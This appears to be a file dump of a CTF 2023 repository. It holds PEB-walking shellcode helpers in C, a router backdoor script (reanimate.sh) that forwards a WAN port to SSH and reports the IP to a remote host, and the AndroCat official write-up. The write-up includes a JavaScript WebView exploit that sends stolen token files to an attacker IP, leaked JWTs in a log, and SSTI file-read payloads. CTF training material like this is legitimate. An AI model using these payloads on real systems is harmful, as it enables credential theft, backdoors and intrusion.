48 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
49 |
50 |
51 | typedef struct _PEB
52 | {
53 | BOOLEAN InheritedAddressSpace;
54 | BOOLEAN ReadImageFileExecOptions;
55 | BOOLEAN BeingDebugged;
56 | BOOLEAN SpareBool;
57 | HANDLE Mutant;
58 |
59 | PVOID ImageBaseAddress;
60 | PPEB_LDR_DATA Ldr;
61 |
62 | // [...] this is a fragment, more elements follow here
63 |
64 | } PEB, * PPEB;
65 |
66 | #endif //__NTDLL_H__
67 |
68 | inline LPVOID get_module_by_name(WCHAR* module_name)
69 | {
70 | PPEB peb = NULL;
71 | #if defined(_WIN64)
72 | peb = (PPEB)__readgsqword(0x60);
73 | #else
74 | peb = (PPEB)__readfsdword(0x30);
75 | #endif
76 | PPEB_LDR_DATA ldr = peb->Ldr;
77 | LIST_ENTRY list = ldr->InLoadOrderModuleList;
78 |
79 | PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));
80 | PLDR_DATA_TABLE_ENTRY curr_module = Flink;
81 |
82 | while (curr_module != NULL && curr_module->BaseAddress != NULL) {
83 | if (curr_module->BaseDllName.Buffer == NULL) continue;
84 | WCHAR* curr_name = curr_module->BaseDllName.Buffer;
85 |
86 | size_t i = 0;
87 | for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) {
88 | WCHAR c1, c2;
89 | TO_LOWERCASE(c1, module_name[i]);
90 | TO_LOWERCASE(c2, curr_name[i]);
91 | if (c1 != c2) break;
92 | }
93 | if (module_name[i] == 0 && curr_name[i] == 0) {
94 | //found
95 | return curr_module->BaseAddress;
96 | }
97 | // not found, try next:
98 | curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;
99 | }
100 | return NULL;
101 | }
102 |
103 | inline LPVOID get_func_by_name(LPVOID module, char* func_name)
104 | {
105 | IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module;
106 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
107 | return NULL;
108 | }
109 | IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew);
110 | IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
111 | if (exportsDir->VirtualAddress == NULL) {
112 | return NULL;
113 | }
114 |
115 | DWORD expAddr = exportsDir->VirtualAddress;
116 | IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module);
117 | SIZE_T namesCount = exp->NumberOfNames;
118 |
119 | DWORD funcsListRVA = exp->AddressOfFunctions;
120 | DWORD funcNamesListRVA = exp->AddressOfNames;
121 | DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals;
122 |
123 | //go through names:
124 | for (SIZE_T i = 0; i < namesCount; i++) {
125 | DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD));
126 | WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD));
127 | DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD));
128 |
129 | LPSTR curr_name = (LPSTR)(*nameRVA + (BYTE*)module);
130 | size_t k = 0;
131 | for (k = 0; func_name[k] != 0 && curr_name[k] != 0; k++) {
132 | if (func_name[k] != curr_name[k]) break;
133 | }
134 | if (func_name[k] == 0 && curr_name[k] == 0) {
135 | //found
136 | return (BYTE*)module + (*funcRVA);
137 | }
138 | }
139 | return NULL;
140 | }
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/x64/Debug/UNI-ctf-shellcode.Build.CppClean.log:
--------------------------------------------------------------------------------
1 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\vc143.pdb
2 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\vc143.idb
3 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\main.obj
4 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\x64\debug\uni-ctf-shellcode.exe
5 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\uni-ctf-shellcode.ilk
6 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\x64\debug\uni-ctf-shellcode.pdb
7 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\uni-ctf-.3012f290.tlog\cl.command.1.tlog
8 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\uni-ctf-.3012f290.tlog\cl.items.tlog
9 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\uni-ctf-.3012f290.tlog\cl.read.1.tlog
10 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\uni-ctf-.3012f290.tlog\cl.write.1.tlog
11 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\uni-ctf-.3012f290.tlog\link.command.1.tlog
12 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\uni-ctf-.3012f290.tlog\link.read.1.tlog
13 | c:\users\anoteros_mastros\source\repos\uni-ctf-shellcode\uni-ctf-shellcode\x64\debug\uni-ctf-.3012f290.tlog\link.write.1.tlog
14 |
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/x64/Debug/UNI-ctf-shellcode.exe.recipe:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | C:\Users\Anoteros_Mastros\source\repos\UNI-ctf-shellcode\x64\Debug\UNI-ctf-shellcode.exe
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/x64/Debug/UNI-ctf-shellcode.log:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/x64/Debug/UNI-ctf-shellcode.vcxproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Hard] Shadow of the Undead/htb/shellcode_solution/UNI-ctf-shellcode/x64/Debug/UNI-ctf-shellcode.vcxproj.FileListAbsolute.txt
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/banner.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/flag.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/htb.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/root.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/root.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/symlinks.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/symlinks.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/xor.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Medium] ZombieNet/assets/xor.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Medium] ZombieNet/htb/openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-rootfs.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Medium] ZombieNet/htb/openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-rootfs.tar.gz
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Medium] ZombieNet/htb/openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Medium] ZombieNet/htb/openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Medium] ZombieNet/htb/reanimate.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | WAN_IP=$(ip -4 -o addr show pppoe-wan | awk '{print $4}' | cut -d "/" -f 1)
4 | ROUTER_IP=$(ip -4 -o addr show br-lan | awk '{print $4}' | cut -d "/" -f 1)
5 |
6 | CONFIG="config redirect \n\t
7 | option dest 'lan' \n\t
8 | option target 'DNAT' \n\t
9 | option name 'share' \n\t
10 | option src 'wan' \n\t
11 | option src_dport '61337' \n\t
12 | option dest_port '22' \n\t
13 | option family 'ipv4' \n\t
14 | list proto 'tcpudp' \n\t
15 | option dest_ip '${ROUTER_IP}'"
16 |
17 | echo -e $CONFIG >> /etc/config/firewall
18 | /etc/init.d/firewall restart
19 |
20 | curl -X POST -H "Content-Type: application/json" -b "auth_token=SFRCe1owbWIxM3NfaDR2M19pbmY" -d '{"ip":"'${WAN_IP}'"}' http://configs.router.htb/reanimate
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/banner.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/burp1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/burp1.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/emailpreview.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/emailpreview.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/home.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/home.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/home1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/home1.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/home3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/home3.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/home4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/home4.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/htb.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/jadx1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/jadx1.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/leak.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/leak.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/leaked.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/leaked.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/nginx.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/nginx.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/nmap.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/nmap.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/pdfgen.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/pdfgen.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/pspy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/pspy.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/root.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/root.txt
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/ser.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/ser.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/assets/xss.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/assets/xss.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/official_writeup.md:
--------------------------------------------------------------------------------
1 | s
2 |
3 |
4 |
5 | AndroCat
6 |
7 | 24th Oct 2023 / D2x.xx.xx
8 |
9 | Prepared By: Xclow3n
10 |
11 | Challenge Author(s): Xclow3n
12 |
13 | Difficulty: Medium
14 |
15 | Classification: Official
16 |
17 |
18 |
19 |
20 |
21 | # [Synopsis](#synopsis)
22 |
23 | AndroCat is a medium Linux machine that involves reversing an Android app and exploiting an insecure implementation of webview in the Android app, allowing attackers to perform XSS and stealing shared preferences files, allowing attackers to get admin token, then exploiting an XSS in dynamic PDF generation, and escalating it to read local files and leak ssh keys for rick user then rick user can run logrotate as root using [this blog](https://joshua.hu/gaining-root-with-logrotate-sudo-ubuntu) we can overwrite a cron script running as root and get shell as root.
24 |
25 |
26 |
27 | # Solution
28 |
29 | ### Enumeration
30 |
31 | ```bash
32 | ports=$(nmap -p- --min-rate=1000 -T4 10.129.228.64 | grep ^[0-9] | cut -d '/' -f
33 | 1 | tr '\n' ',' | sed s/,$//)
34 | nmap -p$ports -sC -sV 10.129.228.64
35 | ```
36 |
37 | 
38 |
39 | The Nmap output reveals that two ports are open, ssh and nginx. Visiting nginx on port 80 gives us the default nginx web page.
40 |
41 | 
42 |
43 | There is little to do here. We are also provided with an app. Let's open the app in an emulator.
44 | Opening the app, we get the following login page, and we can also register a user.
45 |
46 | 
47 |
48 |
49 |
50 | When registering a user, we get a "Something Went Wrong" message. Let's intercept the request with burpsuite
51 |
52 | 
53 |
54 | We can see it sending a web request to `campusconnect.htb`, let's add that to our `/etc/hosts` and try logging in and registering again. After updating `/etc/hosts`, we can register and login, and we get the following page after logging in.
55 |
56 | 
57 |
58 | When we try to post something we can see the following interesting note
59 |
60 | 
61 |
62 | let's post a simple xss payload: ``
63 |
64 | 
65 |
66 | We have a stored XSS, but there are no cookies. Let's open this app in jadx, check the source code, and see how this application is created.
67 |
68 | We can see there is some AdminActivity in this Android app.
69 |
70 | 
71 |
72 | Let's take a look at the login functionality.
73 |
74 | ```java
75 | public void onResponse(JSONObject jSONObject2) {
76 | try {
77 | if (!jSONObject2.getString("token").isEmpty()) {
78 | MainActivity.this.sharedPreferenceClass.setValueString("token", jSONObject2.getString("token"));
79 | if (jSONObject2.has("adminToken")) {
80 | MainActivity.this.sharedPreferenceClass.setValueString("adminToken", jSONObject2.getString("adminToken"));
81 | MainActivity.this.goToAnotherActivity(AdminActivity.class);
82 | } else {
83 | MainActivity.this.goToAnotherActivity(HomeActivity.class);
84 | }
85 | }
86 | } catch (JSONException unused) {
87 | Toast.makeText(MainActivity.this, "Invalid Credentials", 1).show();
88 | }
89 | }
90 | ```
91 |
92 | If the login json response has a token key, store it in the shared preferences, and if there is an `adminToken ` key in the response, save it inside `sharedPreferences` and go to `AdminActivity`. Still, if there is no `adminToken` in the response, go to `HomeActivity`.
93 |
94 | This implementation is not secure as `Shared Preferences are stored as a file in the filesystem on the device. They are, by default, stored within the app's data directory with filesystem permissions set that only allow the UID that the specific application runs with to access them. So, they are private in so much as Linux file permissions restrict access to them, the same as on any Linux/Unix system.`
95 |
96 |
97 |
98 | Taking a look at `SharedPreferenceClass`
99 |
100 | ```java
101 | private static final String USER_PREF = "user";
102 | private SharedPreferences appShared;
103 | private SharedPreferences.Editor prefsEditor;
104 |
105 | public SharedPreferenceClass(Context context) {
106 | SharedPreferences sharedPreferences = context.getSharedPreferences(USER_PREF, 0);
107 | this.appShared = sharedPreferences;
108 | this.prefsEditor = sharedPreferences.edit();
109 | }
110 | ```
111 |
112 | So when storing this token, the application will create an XML file named `user.xml` under `/data/data/com.example.campusconnect/shared_prefs/` folder. Taking a look at the `HomeActivity`
113 |
114 | ```java
115 | public void onCreate(Bundle bundle) {
116 | super.onCreate(bundle);
117 | setContentView(R.layout.activity_home);
118 | final String string = getSharedPreferences("user", 0).getString("token", "");
119 | WebView webView = (WebView) findViewById(R.id.webView);
120 | this.webView = webView;
121 | webView.getSettings().setJavaScriptEnabled(true);
122 | this.webView.getSettings().setDomStorageEnabled(true);
123 | this.webView.loadUrl("file:///android_asset/index.html");
124 | this.webView.setWebChromeClient(new WebChromeClient());
125 | this.webView.setWebViewClient(new WebViewClient() {
126 | @Override // android.webkit.WebViewClient
127 | public WebResourceResponse shouldInterceptRequest(WebView webView2, WebResourceRequest webResourceRequest) {
128 | Uri url = webResourceRequest.getUrl();
129 | if (url.getPath().startsWith("/local_cache/")) {
130 | File file = new File(HomeActivity.this.getCacheDir(), url.getLastPathSegment());
131 | if (file.exists()) {
132 | try {
133 | FileInputStream fileInputStream = new FileInputStream(file);
134 | HashMap hashMap = new HashMap();
135 | hashMap.put(HttpHeaders.ACCESS_CONTROL_ALLOW_ORIGIN, "*");
136 | return new WebResourceResponse("text/html", "utf-8", 200, "OK", hashMap, fileInputStream);
137 | } catch (IOException unused) {
138 | return null;
139 | }
140 | }
141 | }
142 | return super.shouldInterceptRequest(webView2, webResourceRequest);
143 | }
144 |
145 | @Override // android.webkit.WebViewClient
146 | public void onPageFinished(WebView webView2, String str) {
147 | super.onPageFinished(webView2, str);
148 | HomeActivity.this.webView.evaluateJavascript("javascript:putDataInStorage('backendUrl', '" + HomeActivity.this.getString(R.string.backend_url) + "')", null);
149 | HomeActivity.this.webView.evaluateJavascript("javascript:putDataInStorage('token', '" + string + "')", null);
150 | HomeActivity.this.webView.evaluateJavascript("javascript:populatePosts()", null);
151 | }
152 | });
153 | }
154 | ```
155 |
156 | The application uses `WebView` in the `HomeActivity`, and it intercepts all the requests from the `WebView`. If the request URI matches a given pattern, then the response is returned from the app resources or local files. The problem arises when an attacker can manipulate the path of the returned file and, through XHR requests, gain access to arbitrary files.
157 | Since we already have a XSS we can steal the `adminToken` using the following payload
158 |
159 | ```javascript
160 | function theftFile(path, callback) {
161 | var oReq = new XMLHttpRequest();
162 |
163 | oReq.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true);
164 | oReq.onload = function(e) {
165 | callback(oReq.responseText);
166 | }
167 | oReq.onerror = function(e) {
168 | callback(null);
169 | }
170 | oReq.send();
171 | }
172 |
173 | theftFile("shared_prefs/user.xml", function(contents) {
174 | location.href = "http://10.10.14.36/?data=" + encodeURIComponent(contents);
175 | });
176 | ```
177 |
178 |
179 |
180 | Let's store this in a javascript file start a HTTP Server, and use the following payload to trigger it.
181 |
182 | ```html
183 |
184 | ```
185 |
186 | After waiting for 1-2 minutes we get the following calls on our python server
187 |
188 | ```
189 | Serving HTTP on :: port 80 (http://[::]:80/) ...
190 | ::ffff:10.129.230.59 - - [30/Oct/2023 07:12:26] "GET /exp.js HTTP/1.1" 200 -
191 | ::ffff:10.129.230.59 - - [30/Oct/2023 07:12:27] "GET /?data=%3C%3Fxml%20version%3D%271.0%27%20encoding%3D%27utf-8%27%20standalone%3D%27yes%27%20%3F%3E%0A%3Cmap%3E%0A%20%20%20%20%3Cstring%20name%3D%22adminToken%22%3EeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoieGNsb3czbiIsImVtYWlsIjoieGNsb3czbkBoYWNrdGhlYm94LmV1Iiwicm9sZSI6Im1vZGVyYXRvciIsImZvciI6ImFkbWluLmNhbXB1c2Nvbm5lY3QuaHRiIiwiaWF0IjoxNjk4NjMwMTc5fQ.UDZ9zcoHV73ma_I5UV7V_mgEcMWaGyz0DL5IixOKWQw%3C%2Fstring%3E%0A%20%20%20%20%3Cstring%20name%3D%22token%22%3EeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoieGNsb3czbiIsImVtYWlsIjoieGNsb3czbkBoYWNrdGhlYm94LmV1Iiwicm9sZSI6InRlYWNoZXIiLCJmb3IiOiJjYW1wdXNjb25uZWN0Lmh0YiIsImlhdCI6MTY5ODYzMDE3OX0.-u-m-lqzrVjx0dQG-tcH4x2KMGFlJXcTYa1sCz90cyk%3C%2Fstring%3E%0A%3C%2Fmap%3E%0A HTTP/1.1" 200 -
192 | ```
193 |
194 | We got the `Admin Token`. After getting admin, there is an endpoint in `admin.campusconnect.htb` named `/api/exportAttendance`, and we have to include the admin token as a header named `admin-token`
195 |
196 | 
197 |
198 | We get a PDF, and we can see our newly created user is also there, So I'm assuming it's generating dynamic PDF through a browser. Let's see if we can get XSS, thereby registering a new user with our payload in the name.
199 |
200 | Payload: ``
201 |
202 | 
203 |
204 | And we got XSS in leaked the file path. Since we have XSS and it uses the file protocol, we can read files from the system. Let's read the ssh keys of the current user.
205 |
206 | Payload: ``
207 |
208 | 
209 |
210 | Let's ssh into the machine as rick user.
211 |
212 |
213 |
214 | ### Privilege Escalation
215 |
216 | After getting shell as `rick` user and checking for all the processes we can see a node application running as root
217 |
218 | ```bash
219 | root 846 0.0 0.0 2608 600 ? Ss 16:47 0:00 /bin/sh -c /bin/bash -c "/usr/bin/sleep 120 && cd /root/serviceManager/ && /usr/local/bin/node --experimental-permission --allow-fs-read='/root/serviceManager/' --allow-fs-write='/etc/systemd/system/' index.js"
220 | ```
221 |
222 | checking for all open ports reveals port `8080` is open and it only accepts connection from localhost
223 |
224 | ```bash
225 | LISTEN 0 511 127.0.0.1:8080 0.0.0.0:*
226 | ```
227 |
228 | Let's do port forwarding and access the webpage on our browser
229 |
230 | 
231 |
232 | Visting the web page we can see its a service manager and there is a email settings which looks interesting
233 |
234 | 
235 |
236 | We can edit email template and we can see its using nunjucks expressions, let's try SSTI here.
237 |
238 | using this payload doesn't work for some reason
239 |
240 | `{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}`
241 |
242 |
243 |
244 | If we take a look at that cron command we can see its using node `--experimental-permission` model and it only only reading files from the application directory and only allow file write to one specific directory.
245 |
246 |
247 |
248 | The application is using `v20.5.0` node version which is not the latest one let's check nodejs channel log for `node v20.5.1` so we can see what has been fixed in the later release and we were able to find[ this CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32004)
249 |
250 |
251 |
252 | The description is pretty self explanatory. We can build the following payload
253 |
254 | ```
255 | {{range.constructor("return global.process.mainModule.require('fs').readFileSync(Buffer.from('/root/serviceManager/mail/../../../../../../../etc/passwd'))")()}}
256 | ```
257 |
258 | 
259 |
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Androcat/official_writeup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Androcat/official_writeup.pdf
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Apethanto/Apethanto.assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Apethanto/Apethanto.assets/banner.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Apethanto/Apethanto.assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Apethanto/Apethanto.assets/htb.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Apethanto/Apethanto.assets/metabase.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Apethanto/Apethanto.assets/metabase.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Apethanto/Apethanto.assets/web.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Apethanto/Apethanto.assets/web.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Apethanto/Apethanto.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Apethanto/Apethanto.pdf
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/avatar.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/avatar.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/banner.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold1.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold2.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold3.png:
--------------------------------------------------------------------------------
